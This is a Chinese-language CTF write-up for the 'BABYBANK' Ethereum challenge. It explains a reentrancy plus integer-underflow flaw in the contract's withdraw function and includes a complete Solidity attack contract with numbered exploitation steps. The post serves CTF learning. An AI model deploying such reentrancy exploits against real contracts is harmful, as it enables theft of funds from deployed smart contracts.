BABYBANK

我们通过合约地址进行逆向得到合约的逆向代码(https://ethervm.io/decompile/)

由代码分析我们得出代码中的关键函数分别为:guess、profit、transfer、withdraw。 且合约中存在两个关键变量:balance(余额)以及level(一种标记)。

在审计合约之后我们发现 profit函数:每个账户只允许调用一次,并发送钱包1 token;

guess函数需要level值为1且调用后余额+1、leve+1 ;

而transfer函数满足必须balance与level同时为2才能调用,且调用后收款方余额变为2,且转账方余额变为0 ;

withdraw函数表示取款,且合约会将以太币转给msg.sender。

然而漏洞点就在withdraw中。熟悉区块链的人都知道此处使用.call方法进行转账,而这种方法会调用收款方的fallback函数,从而引发重入攻击。

于是我们利用此来进行攻击。我们还看到withdraw中还存在如下方法:

当存在减法且没有判断时,我们就可以认定这里存在溢出,然而要满足溢出条件需要storage[temp2]<temp1。可是前面代码加了判断,所以我们需要在中间调用.call时进行对余额的操作从而让其减小。 我们可以在合约调用如下句子的时候调用收款人的fallback函数从而再次执行withdraw,加入合约余额为2,转账金额设置为2。而在中间进行调用可以很好的绕过余额的检测,从而达成2-2-2的情况,从而溢出。

贴上攻击合约

contract hack{
    babybank a;
    uint count = 0;
    event log(uint256);
    constructor(address b)public{
        a = babybank(b);
    }
    function () public payable {
        if(count==2){
            log(3);
        }else{
            count = count + 1;
      a.withdraw(2);
        log(1);
        }
    }
    function getMoney() public payable{}

    function hacker() public{
        a.withdraw(2);
        log(2);
    }
    function payforflag1(string md5ofteamtoken,string b64email) public{
        a.payforflag(md5ofteamtoken,b64email);
    }

    function kill() {

      selfdestruct(0xd630cb8c3bbfd38d1880b8256ee06d168ee3859c);
    }

}

  • 1 由于合约本身没有以太币,所以我们先生成合约A调用自杀函数给题目转钱。
  • 2 进行转账操作,我们使用账户B分别调用profit()、guess()、transfer()给C账户转2token。
  • 3 当C有了2token便可以进行攻击,调用hacker函数即可。

PS:由于合约需要前四位为“b1b1”的账户,所以我们需要https://vanity-eth.tk/ 来生成相应的账户B。

调动成功后在邮箱收到flag

本文章首发在 网安wangan.com 网站上。

上一篇 下一篇
讨论数量: 0
只看当前版本


暂无话题~